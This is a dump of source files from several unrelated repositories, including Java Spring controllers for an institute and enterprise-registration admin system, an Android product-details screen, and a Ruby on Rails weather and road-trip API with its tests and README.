public R total(@RequestParam Map<String, Object> params) {
if ("{}".equals(params) && params == null) {
List<Long> instituteIds = new ArrayList<>();
List<InnovateInstituteEntity> instituteEntityList = innovateInstituteService.queryAllInstitute();
for (InnovateInstituteEntity innovateInstituteEntity : instituteEntityList) {
instituteIds.add(innovateInstituteEntity.getInstituteId());
}
//封装params
for (Long instituteId : instituteIds) {
params.put("instituteId", instituteId);
//先统计
innovateInstituteService.total(params);
params = new HashMap<>();
}
}
//先统计
innovateInstituteService.total(params);
//后遍历
PageUtils page = innovateInstituteService.queryPage(params);
return R.ok().put("page", page);
}
/**
* 信息
*/
@GetMapping("/info/{instituteId}")
@RequiresPermissions("innovate:institute:info")
public R info(@PathVariable("instituteId") Integer instituteId){
InnovateInstituteEntity institute = innovateInstituteService.selectById(instituteId);
return R.ok().put("institute", institute);
}
/**
* 保存
*/
@PostMapping("/save")
@RequiresPermissions("innovate:institute:save")
public R save(@RequestBody InnovateInstituteEntity innovateInstituteEntity){
innovateInstituteService.insert(innovateInstituteEntity);
return R.ok();
}
/**
* 修改
*/
@PostMapping("/update")
@RequiresPermissions("innovate:institute:update")
public R update(@RequestBody InnovateInstituteEntity innovateInstituteEntity){
innovateInstituteService.updateAllColumnById(innovateInstituteEntity);
return R.ok();
}
/**
* 删除
*/
@PostMapping("/delete")
@RequiresPermissions("innovate:institute:delete")
public R delete(@RequestBody Long[] instituteIds){
innovateInstituteService.deleteBatchIds(Arrays.asList(instituteIds));
return R.ok();
}
}
<file_sep>package com.innovate.modules.cooperation.controller;
import java.net.URLEncoder;
import java.util.*;
import com.alibaba.excel.EasyExcel;
import com.alibaba.excel.ExcelWriter;
import com.alibaba.excel.write.metadata.WriteSheet;
import com.innovate.common.utils.ShiroUtils;
import com.innovate.modules.enterprise.entity.InnovateEnterpriseAttachEntity;
import com.innovate.modules.sys.entity.SysUserEntity;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import com.innovate.modules.cooperation.entity.*;
import com.innovate.modules.cooperation.service.*;
import com.innovate.common.utils.PageUtils;
import com.innovate.common.utils.R;
import javax.servlet.http.HttpServletResponse;
/**
* 企业登记认证表
*
* @author HHUFU
* @email <EMAIL>
* @date 2020-11-25 21:54:33
*/
@RestController
@RequestMapping("cooperation/innovateregisterauthentication")
public class InnovateRegisterAuthenticationController {
@Autowired
private InnovateRegisterAuthenticationService innovateRegisterAuthenticationService;
/**
* 列表
*/
@RequestMapping("/list")
@RequiresPermissions("cooperation:innovateregisterauthentication:list")
public R list(@RequestParam Map<String, Object> params){
PageUtils page = innovateRegisterAuthenticationService.queryPage(params);
return R.ok().put("page", page);
}
/**
* 信息
*/
@RequestMapping("/info/{authenticationId}")
@RequiresPermissions("cooperation:innovateregisterauthentication:info")
public R info(@PathVariable("authenticationId") Long authenticationId){
InnovateRegisterAuthenticationEntity innovateRegisterAuthentication = innovateRegisterAuthenticationService.selectById(authenticationId);
return R.ok().put("innovateRegisterAuthentication", innovateRegisterAuthentication);
}
/**
* 保存
*/
@RequestMapping("/save")
@RequiresPermissions("cooperation:innovateregisterauthentication:save")
public R save(@RequestBody InnovateRegisterAuthenticationEntity innovateRegisterAuthentication){
innovateRegisterAuthenticationService.insert(innovateRegisterAuthentication);
return R.ok();
}
/**
* 修改
*/
@RequestMapping("/update")
@RequiresPermissions("cooperation:innovateregisterauthentication:update")
public R update(@RequestBody InnovateRegisterAuthenticationEntity innovateRegisterAuthentication){
innovateRegisterAuthenticationService.updateById(innovateRegisterAuthentication);
return R.ok();
}
/**
* 删除
*/
@RequestMapping("/delete")
@RequiresPermissions("cooperation:innovateregisterauthentication:delete")
public R delete(@RequestBody Long[] authenticationIds){
// innovateRegisterAuthenticationService.deleteBatchIds(Arrays.asList(authenticationIds));
innovateRegisterAuthenticationService.deleteList(Arrays.asList(authenticationIds));
return R.ok();
}
/**
* 导出
*/
@PostMapping("/export")
@RequiresPermissions("cooperation:innovateregisterauthentication:list")
public void export(@RequestBody Map<String, Object> params, HttpServletResponse response){
List<InnovateRegisterAuthenticationEntity> registerauthenticationIdsList = new ArrayList<>();
response.setContentType("application/vnd.ms-excel");
response.setCharacterEncoding("utf-8");
/* 获取当前登录用户 */
SysUserEntity userEntity = ShiroUtils.getUserEntity();
String adminName = userEntity.getUsername();
ExcelWriter excelWriter = null;
try {
String fileName = URLEncoder.encode("企业登记列表", "UTF-8");
response.setHeader("Content-disposition","attachment;filename"+fileName+".xlsx");
/* 权限判断:当前用户为管理员(暂时不做权限限制) */
if ("wzxyGLY".equals(adminName) || true){
excelWriter = EasyExcel.write(response.getOutputStream(), InnovateRegisterAuthenticationEntity.class).build();
WriteSheet writeSheet = EasyExcel.writerSheet(0, "企业登记列表").build();
registerauthenticationIdsList = innovateRegisterAuthenticationService.queryListByIds(params);
excelWriter.write(registerauthenticationIdsList,writeSheet);
}
}catch (Exception e){
e.printStackTrace();
}finally {
// 千万别忘记finish 会帮忙关闭流
if (excelWriter != null) {
excelWriter.finish();
}
}
}
}
| 5519da87b89f13280ba9f5a7036ef2775e3c18c3 | [
"Markdown",
"Java",
"JavaScript"
] | 193 | Java | mingji33/innovate | b165a018e6d36e8c918b361d84ac71aa45bf2edb | f2a033bb8eee717b906a3c9556ee775c6a8ee5ce |
refs/heads/master | <repo_name>CalvinGonsalves/EcommerceApp<file_sep>/app/src/main/java/com/example/calvingonsalves/ecommerceapp/ProductDetailsActivity.java
package com.example.calvingonsalves.ecommerceapp;
import android.app.Activity;
import android.content.Context;
import android.content.res.ColorStateList;
import android.graphics.Color;
import android.support.design.widget.FloatingActionButton;
import android.support.design.widget.TabLayout;
import android.support.v4.content.ContextCompat;
import android.support.v4.view.ViewPager;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.support.v7.content.res.AppCompatResources;
import android.support.v7.widget.Toolbar;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
import static com.example.calvingonsalves.ecommerceapp.R.color.colorPrimary;
public class ProductDetailsActivity extends AppCompatActivity {
private ViewPager productImagesViewPager;
private TabLayout viewPagerIndicator;
private TabLayout productDetailsTabLayout;
private ViewPager productDetailsViewPager;
private static Boolean ALREADY_ADDED_WISH_LIST = false;
private FloatingActionButton addToWishListBtn;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_product_details);
Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar);
setSupportActionBar(toolbar);
Objects.requireNonNull(getSupportActionBar()).setDisplayShowTitleEnabled(false);
getSupportActionBar().setDisplayHomeAsUpEnabled(true);
productImagesViewPager = findViewById(R.id.products_images_viewpager);
viewPagerIndicator = findViewById(R.id.viewpager_indicator);
addToWishListBtn = findViewById(R.id.add_to_wishlist_btn);
productDetailsViewPager = findViewById(R.id.product_details_viewpager);
productDetailsTabLayout = findViewById(R.id.product_details_tablayout);
List<Integer> productImages = new ArrayList<>();
productImages.add(R.drawable.xperia);
productImages.add(R.drawable.smartphone);
productImages.add(R.drawable.banner);
productImages.add(R.drawable.smartphone);
ProductImagesAdapter productImagesAdapter = new ProductImagesAdapter(productImages);
productImagesViewPager.setAdapter(productImagesAdapter);
viewPagerIndicator.setupWithViewPager(productImagesViewPager,true);
addToWishListBtn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if (ALREADY_ADDED_WISH_LIST) {
ALREADY_ADDED_WISH_LIST = false;
addToWishListBtn.setImageTintList(ColorStateList.valueOf(Color.parseColor("a4a4a4")));
} else {
ALREADY_ADDED_WISH_LIST = true;
addToWishListBtn.setImageTintList(ColorStateList.valueOf(getColor(R.color.colorPrimary)));
}
}
});
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.search_and_cart_icon, menu);
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
//noinspection SimplifiableIfStatement
if (id == android.R.id.home) {
//todo: search
finish();
return true;
} else if (id == R.id.main_search_icon) {
//todo: notification system
return true;
} else if (id == R.id.main_cart_icon) {
//todo:cart
return true;
}
return super.onOptionsItemSelected(item);
}
}
| 488a4c4fe1af0bac4e99036d569259a0715e16f1 | [
"Java"
] | 1 | Java | CalvinGonsalves/EcommerceApp | fa4c6f948bcbe156f35907caa85bcc13d419ac0d | 61a70287d033f95c5148f1e5ac320a40e26299a1 |
refs/heads/main | <repo_name>c-bartell/sweater_weather<file_sep>/app/controllers/api/v1/road_trip_controller.rb
class Api::V1::RoadTripController < ApplicationController
def create
if params[:api_key] && User.find_by(api_key: params[:api_key])
render json: RoadTripSerializer.new(road_trip)
else
render json: { errors: ['Invalid API key'] }, status: :unauthorized
end
end
private
def road_trip
@road_trip ||= RoadTripFacade.road_trip(params[:origin], params[:end_point])
end
end
<file_sep>/app/facades/weather_facade.rb
class WeatherFacade
class << self
def forecast(location)
Forecast.new(
WeatherService.weather_at_coords(location)
)
end
end
end
<file_sep>/spec/facades/weather_facade_spec.rb
require 'rails_helper'
describe 'Weather Facade' do
it 'Can create a forecast from a location object' do
VCR.use_cassette('denverco_weather_request') do
location = instance_double('Location', latitude: 39.738453, longitude: -104.984853)
expect(WeatherFacade.forecast(location)).to be_a Forecast
end
end
end
<file_sep>/spec/services/geocode_service_spec.rb
require 'rails_helper'
describe 'GeocodeService' do
it 'can get coordinates from a location string' do
VCR.use_cassette('denverco_coord_request') do
location = 'denver,co'
response = GeocodeService.location_to_coords(location)
expect(response).to be_a Hash
expect(response).to have_key :info
expect(response).to have_key :options
expect(response).to have_key :results
info = response[:info]
expect(info).to be_a Hash
expect(info).to have_key :statuscode
expect(info[:statuscode]).to be_an Integer
expect(info[:statuscode]).to eq(0)
expect(info).to have_key :messages
expect(info[:messages]).to be_an Array
expect(info[:messages]).to be_empty
options = response[:options]
expect(options).to be_a Hash
expect(options).to_not be_empty
results = response[:results]
expect(results).to be_an Array
expect(results.length).to eq(1)
location_results = results.first
expect(location_results).to be_a Hash
expect(location_results).to have_key :providedLocation
expect(location_results[:providedLocation]).to be_a Hash
expect(location_results[:providedLocation]).to have_key :street
expect(location_results[:providedLocation][:street]).to be_a String
expect(location_results[:providedLocation][:street]).to eq(location)
expect(location_results).to have_key :locations
expect(location_results[:locations]).to be_an Array
expect(location_results[:locations]).to_not be_empty
location_data = location_results[:locations].first
expect(location_data).to be_a Hash
expect(location_data).to have_key :latLng
geocoords = location_data[:latLng]
expect(geocoords).to be_a Hash
expect(geocoords).to have_key :lat
expect(geocoords[:lat]).to be_a Float
expect(geocoords[:lat]).to eq(39.738453)
expect(geocoords).to have_key :lng
expect(geocoords[:lng]).to be_a Float
expect(geocoords[:lng]).to eq(-104.984853)
end
end
it 'can return directions data' do
VCR.use_cassette('denver_to_pueblo_travel_request') do
start_point = 'Denver,Co'
end_point = 'Pueblo,Co'
trip = GeocodeService.road_trip_data(start_point, end_point)
expect(trip).to have_key :route
expect(trip[:route]).to be_a Hash
route = trip[:route]
expect(route).to have_key :formattedTime
expect(route[:formattedTime]).to be_a String
expect(route).to have_key :locations
expect(route[:locations]).to be_an Array
expect(route[:locations].last).to be_a Hash
expect(route[:locations].last).to have_key :adminArea5
expect(route[:locations].last[:adminArea5]).to be_a String
expect(route[:locations].last).to have_key :adminArea3
expect(route[:locations].last[:adminArea3]).to be_a String
expect(route[:locations].last).to have_key :displayLatLng
expect(route[:locations].last[:displayLatLng]).to be_a Hash
lat_lng = route[:locations].last[:displayLatLng]
expect(lat_lng).to have_key :lat
expect(lat_lng[:lat]).to be_a Float
expect(lat_lng).to have_key :lng
expect(lat_lng[:lng]).to be_a Float
end
end
end
<file_sep>/app/services/geocode_service.rb
class GeocodeService
class << self
def location_to_coords(location)
response = conn.post('geocoding/v1/address') do |req|
req.body = {
location: location,
options: options
}.to_json
end
JSON.parse(response.body, symbolize_names: true)
end
def road_trip_data(start_point, end_point)
response = conn.get('directions/v2/route') do |req|
req.params[:from] = start_point
req.params[:to] = end_point
end
JSON.parse(response.body, symbolize_names: true)
end
private
def conn
Faraday.new(
url: 'https://www.mapquestapi.com',
params: {
key: ENV['GEOCODE_API_KEY']
},
headers: {
'Content-Type' => 'application/json',
'Accept' => 'application/json'
}
)
end
def options
{
thumbMaps: false,
maxResults: 1,
intlMode: 'AUTO'
}
end
end
end
<file_sep>/spec/serializers/forecast_serializer_spec.rb
require 'rails_helper'
describe 'Forecast Serializer' do
it 'can serialize a forecast' do
VCR.use_cassette('denverco_weather_request') do
location = instance_double('Location', latitude: 39.738453, longitude: -104.984853)
forecast = Forecast.new(
WeatherService.weather_at_coords(location)
)
serialized_json = ForecastSerializer.new(forecast).serialized_json
parsed_json = JSON.parse(serialized_json, symbolize_names: true)
expect(parsed_json).to be_a Hash
expect(parsed_json).to have_key :data
data = parsed_json[:data]
expect(data).to have_key :id
expect(data).to have_key :type
expect(data[:type]).to be_a String
expect(data).to have_key :attributes
expect(data[:attributes]).to be_a Hash
attributes = data[:attributes]
expect(attributes).to have_key :current_weather
expect(attributes[:current_weather]).to be_a Hash
expect(attributes).to have_key :daily_weather
expect(attributes[:daily_weather]).to be_an Array
expect(attributes).to have_key :hourly_weather
expect(attributes[:hourly_weather]).to be_an Array
current_weather = attributes[:current_weather]
expect(current_weather).to have_key :datetime
expect(current_weather[:datetime]).to be_a String
expect(current_weather).to have_key :sunrise
expect(current_weather[:sunrise]).to be_a String
expect(current_weather).to have_key :sunset
expect(current_weather[:sunset]).to be_a String
expect(current_weather).to have_key :temperature
expect(current_weather[:temperature]).to be_a Float
expect(current_weather).to have_key :feels_like
expect(current_weather[:feels_like]).to be_a Float
expect(current_weather).to have_key :humidity
expect(current_weather[:humidity]).to be_an Integer
expect(current_weather).to have_key :uvi
expect(current_weather[:uvi]).to be_a Numeric
expect(current_weather).to have_key :visibility
expect(current_weather[:visibility]).to be_an Integer
expect(current_weather).to have_key :conditions
expect(current_weather[:conditions]).to be_a String
expect(current_weather).to have_key :icon
expect(current_weather[:icon]).to be_a String
daily_weather = attributes[:daily_weather]
expect(daily_weather[0]).to have_key :date
expect(daily_weather[0][:date]).to be_a String
expect(daily_weather[0]).to have_key :sunrise
expect(daily_weather[0][:sunrise]).to be_a String
expect(daily_weather[0]).to have_key :sunset
expect(daily_weather[0][:sunset]).to be_a String
expect(daily_weather[0]).to have_key :max_temp
expect(daily_weather[0][:max_temp]).to be_a Float
expect(daily_weather[0]).to have_key :min_temp
expect(daily_weather[0][:min_temp]).to be_a Float
expect(daily_weather[0]).to have_key :conditions
expect(daily_weather[0][:conditions]).to be_a String
expect(daily_weather[0]).to have_key :icon
expect(daily_weather[0][:icon]).to be_a String
hourly_weather = attributes[:hourly_weather]
expect(hourly_weather[0]).to have_key :time
expect(hourly_weather[0][:time]).to be_a String
expect(hourly_weather[0]).to have_key :temperature
expect(hourly_weather[0][:temperature]).to be_a Float
expect(hourly_weather[0]).to have_key :wind_speed
expect(hourly_weather[0][:wind_speed]).to be_a String
expect(hourly_weather[0]).to have_key :wind_direction
expect(hourly_weather[0][:wind_direction]).to be_a String
expect(hourly_weather[0]).to have_key :conditions
expect(hourly_weather[0][:conditions]).to be_a String
expect(hourly_weather[0]).to have_key :icon
expect(hourly_weather[0][:icon]).to be_a String
end
end
end
<file_sep>/app/controllers/api/v1/weather_controller.rb
class Api::V1::WeatherController < ApplicationController
def forecast
render json: ForecastSerializer.new(forecast_obj)
end
private
def location
@location ||= GeocodeFacade.location(params[:location])
end
def forecast_obj
@forecast_obj ||= WeatherFacade.forecast(location)
end
end
<file_sep>/spec/requests/api/v1/road_trip/post_road_trip_request_spec.rb
require 'rails_helper'
describe 'Road Trip POST request' do
before :each do
@user = User.create!(
email: '<EMAIL>',
password: '<PASSWORD>',
password_confirmation: '<PASSWORD>'
)
end
it 'I can get a road trip' do
VCR.use_cassette('denver_to_pueblo_roadtrip_request') do
VCR.use_cassette('puebloco_weather_request') do
start_point = 'Denver,Co'
end_point = 'Pueblo,Co'
headers = {
'Content-Type' => 'application/json',
'Accept' => 'application/json'
}
post(
api_v1_road_trip_path(
origin: start_point, end_point: end_point, api_key: @user.api_key
),
headers: headers
)
expect(response).to be_successful
parsed_data = JSON.parse(response.body, symbolize_names: true)
expect(parsed_data).to have_key :data
expect(parsed_data[:data]).to be_a Hash
road_trip_data = parsed_data[:data]
expect(road_trip_data).to have_key :id
expect(road_trip_data[:id]).to be nil
expect(road_trip_data).to have_key :type
expect(road_trip_data[:type]).to eq 'roadtrip'
attributes = road_trip_data[:attributes]
expect(attributes).to have_key :start_city
expect(attributes[:start_city]).to be_a String
expect(attributes).to have_key :end_city
expect(attributes[:end_city]).to be_a String
expect(attributes).to have_key :travel_time
expect(attributes[:travel_time]).to be_a String
expect(attributes).to have_key :weather_at_eta
expect(attributes[:weather_at_eta]).to be_a Hash
expect(attributes[:weather_at_eta]).to have_key :temperature
expect(attributes[:weather_at_eta][:temperature]).to be_a Float
expect(attributes[:weather_at_eta]).to have_key :conditions
expect(attributes[:weather_at_eta][:conditions]).to be_a String
end
end
end
it 'it returns an error if an invalid api_key is used' do
VCR.use_cassette('denver_to_pueblo_roadtrip_request') do
VCR.use_cassette('puebloco_weather_request') do
start_point = 'Denver,Co'
end_point = 'Pueblo,Co'
headers = {
'Content-Type' => 'application/json',
'Accept' => 'application/json'
}
post(
api_v1_road_trip_path(
origin: start_point, end_point: end_point, api_key: '<PASSWORD>'
),
headers: headers
)
expect(response).to have_http_status 401
error = JSON.parse(response.body, symbolize_names: true)
expect(error).to be_a Hash
expect(error).to have_key :errors
expect(error[:errors]).to be_an Array
expect(error[:errors][0]).to eq 'Invalid API key'
post(
api_v1_road_trip_path(origin: start_point, end_point: end_point),
headers: headers
)
expect(response).to have_http_status 401
error = JSON.parse(response.body, symbolize_names: true)
expect(error).to be_a Hash
expect(error).to have_key :errors
expect(error[:errors]).to be_an Array
expect(error[:errors][0]).to eq 'Invalid API key'
end
end
end
end
<file_sep>/spec/facades/image_facade_spec.rb
require 'rails_helper'
describe 'Image Facade' do
it 'it can create an image' do
VCR.use_cassette('denver_background_request') do
location = 'denver,co'
expect(ImageFacade.background(location)).to be_an Image
end
end
end
<file_sep>/app/poros/road_trip.rb
class RoadTrip
attr_reader :start_city,
:end_city,
:lat_lng,
:weather_at_eta
def initialize(data)
@start_city = city_string(data[:route][:locations].first)
@end_city = city_string(data[:route][:locations].last)
@travel_time = data[:route][:formattedTime]
@lat_lng = data[:route][:locations].last[:displayLatLng]
@weather_at_eta = nil
end
def id; end
def city_string(location_data)
"#{location_data[:adminArea5]}, #{location_data[:adminArea3]}"
end
def travel_time
if @travel_time
raw_time = @travel_time.split(':')
"#{raw_time[0].to_i} hours #{raw_time[1]} min"
else
'Impossible route'
end
end
def add_weather(data)
@weather_at_eta = data
end
end
<file_sep>/app/serializers/forecast_serializer.rb
class ForecastSerializer
include FastJsonapi::ObjectSerializer
set_type :forecast
attributes :current_weather,
:daily_weather,
:hourly_weather
end
<file_sep>/spec/requests/api/v1/backgrounds/get_location_background_spec.rb
require 'rails_helper'
describe 'Backgrounds request' do
it 'can get a background for a location' do
VCR.use_cassette('denver_background_request') do
location = 'denver,co'
headers = {
'Content-Type' => 'application/json',
'Accept' => 'application/json'
}
get api_v1_backgrounds_path(location: location), headers: headers
expect(response).to be_successful
background_response = JSON.parse(response.body, symbolize_names: true)
expect(background_response).to have_key :data
expect(background_response[:data]).to be_a Hash
data = background_response[:data]
expect(data[:id]).to be nil
expect(data[:type]).to eq 'image'
image = data[:attributes][:image]
expect(image[:location]).to be_a String
expect(image[:image_url]).to be_a String
expect(image[:alt_description]).to be_a String
credit = image[:credit]
expect(credit[:source]).to be_a String
expect(credit[:author]).to be_a String
expect(credit[:author_page]).to be_a String
end
end
end
<file_sep>/app/facades/image_facade.rb
class ImageFacade
class << self
def background(location_string)
Image.new(
ImageService.background(location_string)
)
end
end
end
<file_sep>/app/services/image_service.rb
class ImageService
class << self
def background(location_string)
response = conn.get('photos/random') do |req|
req.params[:content_filter] = 'high'
req.params[:query] = location_string
end
JSON.parse(response.body, symbolize_names: true)
end
private
def conn
Faraday.new(
url: 'https://api.unsplash.com',
headers: {
'Content-Type' => 'application/json',
'Accept' => 'application/json',
'Accept-Version' => 'v1',
'Authorization' => "Client-ID #{ENV['UNSPLASH_KEY']}"
}
)
end
end
end
<file_sep>/spec/poros/image_spec.rb
require 'rails_helper'
describe 'Image PORO' do
before :each do
VCR.use_cassette('denver_background_request') do
location = 'denver,co'
@data = ImageService.background(location)
end
end
it 'has relevant attributes' do
image = Image.new(@data)
expect(image.id).to be nil
expect(image.location).to eq @data[:location][:title]
expect(image.image_url).to eq @data[:urls][:full]
expect(image.alt_description).to eq @data[:alt_description]
expect(image.credit).to eq(
{
source: 'unsplash.com',
author: @data[:user][:username],
author_page: @data[:user][:links][:html]
}
)
end
end
<file_sep>/spec/facades/road_trip_facade_spec.rb
require 'rails_helper'
describe 'Road Trip Facade' do
it 'can generate a road trip' do
VCR.use_cassette('denver_to_pueblo_travel_request') do
start_point = 'Denver,Co'
end_point = 'Pueblo,Co'
road_trip = RoadTripFacade.road_trip(start_point, end_point)
expect(road_trip).to be_a RoadTrip
expect(road_trip.weather_at_eta).to eq(
{
temperature: 24.17,
conditions: "Few clouds"
}
)
end
end
end
<file_sep>/spec/requests/api/v1/sessions/user_login_request_spec.rb
require 'rails_helper'
describe 'Sessions POST request' do
it 'can return a registered user\'s api key' do
email = '<EMAIL>'
password = '<PASSWORD>'
user = User.create!(
email: email,
password: <PASSWORD>,
password_confirmation: <PASSWORD>
)
headers = {
'Content-Type' => 'application/json',
'Accept' => 'application/json'
}
post api_v1_sessions_path(email: email, password: password), headers: headers
expect(response).to have_http_status 200
parsed_data = JSON.parse(response.body, symbolize_names: true)
expect(parsed_data).to have_key :data
expect(parsed_data[:data]).to be_a Hash
user_data = parsed_data[:data]
expect(user_data).to have_key :type
expect(user_data[:type]).to eq 'users'
expect(user_data).to have_key :id
expect(user_data[:id]).to eq user.id.to_s
expect(user_data).to have_key :attributes
expect(user_data[:attributes]).to be_a Hash
attributes = user_data[:attributes]
expect(attributes).to have_key :email
expect(attributes[:email]).to eq user.email
expect(attributes).to have_key :api_key
expect(attributes[:api_key]).to eq user.api_key
end
it 'returns an error for invalid credentials' do
email = '<EMAIL>'
password = '<PASSWORD>'
headers = {
'Content-Type' => 'application/json',
'Accept' => 'application/json'
}
User.create!(
email: email,
password: <PASSWORD>,
password_confirmation: <PASSWORD>
)
post api_v1_sessions_path(email: email, password: '<PASSWORD>'), headers: headers
expect(response).to have_http_status 400
error = JSON.parse(response.body, symbolize_names: true)
expect(error).to be_a Hash
expect(error).to have_key :errors
expect(error[:errors]).to be_an Array
expect(error[:errors][0]).to eq 'Invalid credentials'
post api_v1_sessions_path(email: '<EMAIL>', password: <PASSWORD>), headers: headers
expect(response).to have_http_status 400
error = JSON.parse(response.body, symbolize_names: true)
expect(error).to be_a Hash
expect(error).to have_key :errors
expect(error[:errors]).to be_an Array
expect(error[:errors][0]).to eq 'Invalid credentials'
end
end
<file_sep>/spec/poros/location_spec.rb
require 'rails_helper'
describe 'Location PORO' do
before :each do
VCR.use_cassette('denverco_coord_request') do
@data = GeocodeService.location_to_coords('denver,co')
end
end
it 'exists' do
expect(Location.new(@data)).to be_a Location
end
it 'has attributes' do
location = Location.new(@data)
lat_lng = @data[:results][0][:locations][0][:latLng]
expect(location.latitude).to eq(lat_lng[:lat])
expect(location.longitude).to eq(lat_lng[:lng])
end
it 'can instantiate from a latLng hash' do
lat_lng = {
lat: 5,
lng: 6
}
location = Location.new(lat_lng)
expect(location).to be_a Location
expect(location.latitude).to eq 5
expect(location.longitude).to eq 6
end
end
<file_sep>/app/facades/geocode_facade.rb
class GeocodeFacade
class << self
def location(location_string)
Location.new(
GeocodeService.location_to_coords(location_string)
)
end
end
end
<file_sep>/README.md
# Sweater Weather AKA Whether Sweater?
[](https://travis-ci.com/github/Carbon-Knight/carbon-knight-back-end)
---
Sweater weather is a service oriented API meant to be the back end for a road trip planning app. Endpoints are available to get weather data and pictures for a location, register and login users, and fetch weather data for the time of arrival at trip destinations.
---
### Getting Started:
To get started with the API, first clone this repo to your local machine, then run `$ bundle install`, `$ figaro install` and `$ bundle exec rake db:{create,migrate}`. To make use of the API, you will first need to obtain API keys for the [MapQuest API](https://developer.mapquest.com/documentation/), [Unsplash API](https://unsplash.com/documentation#getting-started), and [OpenWeather API](https://openweathermap.org/api), then add them to your `application.yml` file. Finally, run `$ rails s` to start your local server and start making calls to the available endpoints!
___
### Endpoints
If you are running sweater weather with `$ rails s`, the root url will be `localhost:3000`.
**The following headers should be included on all API calls:**
```
Content-Type: application/json
Accept: application/json
```
##### Forecasts
```
GET /api/v1/forecast?location=<LOCATION>
```
Response:
```
{
"data": {
"id": null,
"type": "forecast",
"attributes": {
"current_weather": {
"datetime": "2020-09-30 13:27:03 -0600",
"temperature": 79.4,
etc
},
"daily_weather": [
{
"date": "2020-10-01",
"sunrise": "2020-10-01 06:10:43 -0600",
etc
},
{...} etc
],
"hourly_weather": [
{
"time": "14:00:00",
"wind_speed": "4 mph",
"wind_direction": "from NW",
etc
},
{...} etc
]
}
}
}
```
##### Location Backgrounds
```
GET /api/v1/backgrounds?location=<LOCATION>
```
Response:
```
{
"data": {
"type": "image",
"id": null,
"attributes": {
"image": {
"location": "...",
"image_url": "..."
"alt_description": "..."
"credit": {...}
}
}
}
}
```
##### User Registration
```
POST /api/v1/users
Body:
{
"email": "<EMAIL>",
"password": "<PASSWORD>",
"password_confirmation": "<PASSWORD>"
}
```
Response:
```
{
"data": {
"type": "users",
"id": "1",
"attributes": {
"email": "<EMAIL>",
"api_key": "jgn983hy48thw9begh98h4539h4"
}
}
}
```
##### User Login
```
POST /api/v1/sessions
Body:
{
"email": "<EMAIL>",
"password": "<PASSWORD>"
}
```
Response:
```
{
"data": {
"type": "users",
"id": "1",
"attributes": {
"email": "<EMAIL>",
"api_key": "jgn983hy48thw9begh98h4539h4"
}
}
}
```
##### Road Trip
```
POST /api/v1/road_trip
Body:
{
"origin": "Denver,CO",
"destination": "Pueblo,CO",
"api_key": "jgn983hy48thw9begh98h4539h4"
}
```
Response:
```
{
"data": {
"id": null,
"type": "roadtrip",
"attributes": {
"start_city": "Denver, CO",
"end_city": "Estes Park, CO",
"travel_time": "2 hours, 13 minutes"
"weather_at_eta": {
"temperature": 59.4,
"conditions": "partly cloudy with a chance of meatballs"
}
}
}
}
```
If you would like to try sending requests to the deployed API, Sweater Weather is deployed at https://curtis-sweater-weather.herokuapp.com/.
___
### Built with
* Rails `5.2.4.3`
* Ruby `2.5.3`
* PostgreSQL 13
* MapQuest API
* Unsplash API
* OpenWeather API
### Authors
* Sweater Weather: Lovingly coded by <NAME> [GitHub](https://github.com/c-bartell)|[Twitter](https://twitter.com/curtis_codes)|[LinkedIn](https://www.linkedin.com/in/curtis-bartell/)
* [Project Requirements](https://backend.turing.io/module3/projects/sweater_weather/requirements): Turing School of Software and Design
<file_sep>/app/serializers/image_serializer.rb
class ImageSerializer
include FastJsonapi::ObjectSerializer
set_type :image
attribute :image do |object|
{
location: object.location,
image_url: object.image_url,
alt_description: object.alt_description,
credit: object.credit
}
end
end
<file_sep>/spec/poros/road_trip_spec.rb
require 'rails_helper'
describe 'Road Trip PORO' do
before :each do
VCR.use_cassette('denver_to_pueblo_travel_request') do
start_point = 'Denver,Co'
end_point = 'Pueblo,Co'
@trip_data = GeocodeService.road_trip_data(start_point, end_point)
end
end
it 'has trip data attributes' do
road_trip = RoadTrip.new(@trip_data)
expect(road_trip).to be_a RoadTrip
expect(road_trip.id).to be_nil
expect(road_trip.start_city).to eq 'Denver, CO'
expect(road_trip.end_city).to eq 'Pueblo, CO'
expect(road_trip.travel_time).to eq '1 hours 44 min'
expect(road_trip.lat_lng).to eq(
{ lat: 38.265427, lng: -104.610413 }
)
end
it 'can add weather info' do
road_trip = RoadTrip.new(@trip_data)
expect(road_trip.weather_at_eta).to be nil
road_trip.add_weather({ temperature: '', conditions: '' })
expect(road_trip.weather_at_eta).to eq(
{ temperature: '', conditions: '' }
)
end
end
<file_sep>/spec/services/weather_service_spec.rb
require 'rails_helper'
describe 'WeatherService' do
it 'can fetch weather data from geocoords' do
VCR.use_cassette('denverco_weather_request') do
location = instance_double('Location', latitude: 39.738453, longitude: -104.984853)
response = WeatherService.weather_at_coords(location)
expect(response).to be_a Hash
expect(response).to have_key :lat
expect(response[:lat]).to be_a Float
expect(response).to have_key :lon
expect(response[:lon]).to be_a Float
expect(response).to have_key :timezone
expect(response[:timezone]).to be_a String
expect(response).to have_key :timezone_offset
expect(response[:timezone_offset]).to be_an Integer
expect(response).to have_key :current
expect(response).to have_key :hourly
expect(response).to have_key :daily
expect(response).to_not have_key :minutely
expect(response).to_not have_key :alerts
current = response[:current]
hourly = response[:hourly]
daily = response[:daily]
expect(current).to be_a Hash
expect(current).to have_key :dt
expect(current[:dt]).to be_an Integer
expect(current).to have_key :sunrise
expect(current[:sunrise]).to be_an Integer
expect(current).to have_key :sunset
expect(current[:sunset]).to be_an Integer
expect(current).to have_key :temp
expect(current[:temp]).to be_a Float
expect(current).to have_key :feels_like
expect(current[:feels_like]).to be_a Float
expect(current).to have_key :pressure
expect(current[:pressure]).to be_an Integer
expect(current).to have_key :humidity
expect(current[:humidity]).to be_a Numeric
expect(current).to have_key :dew_point
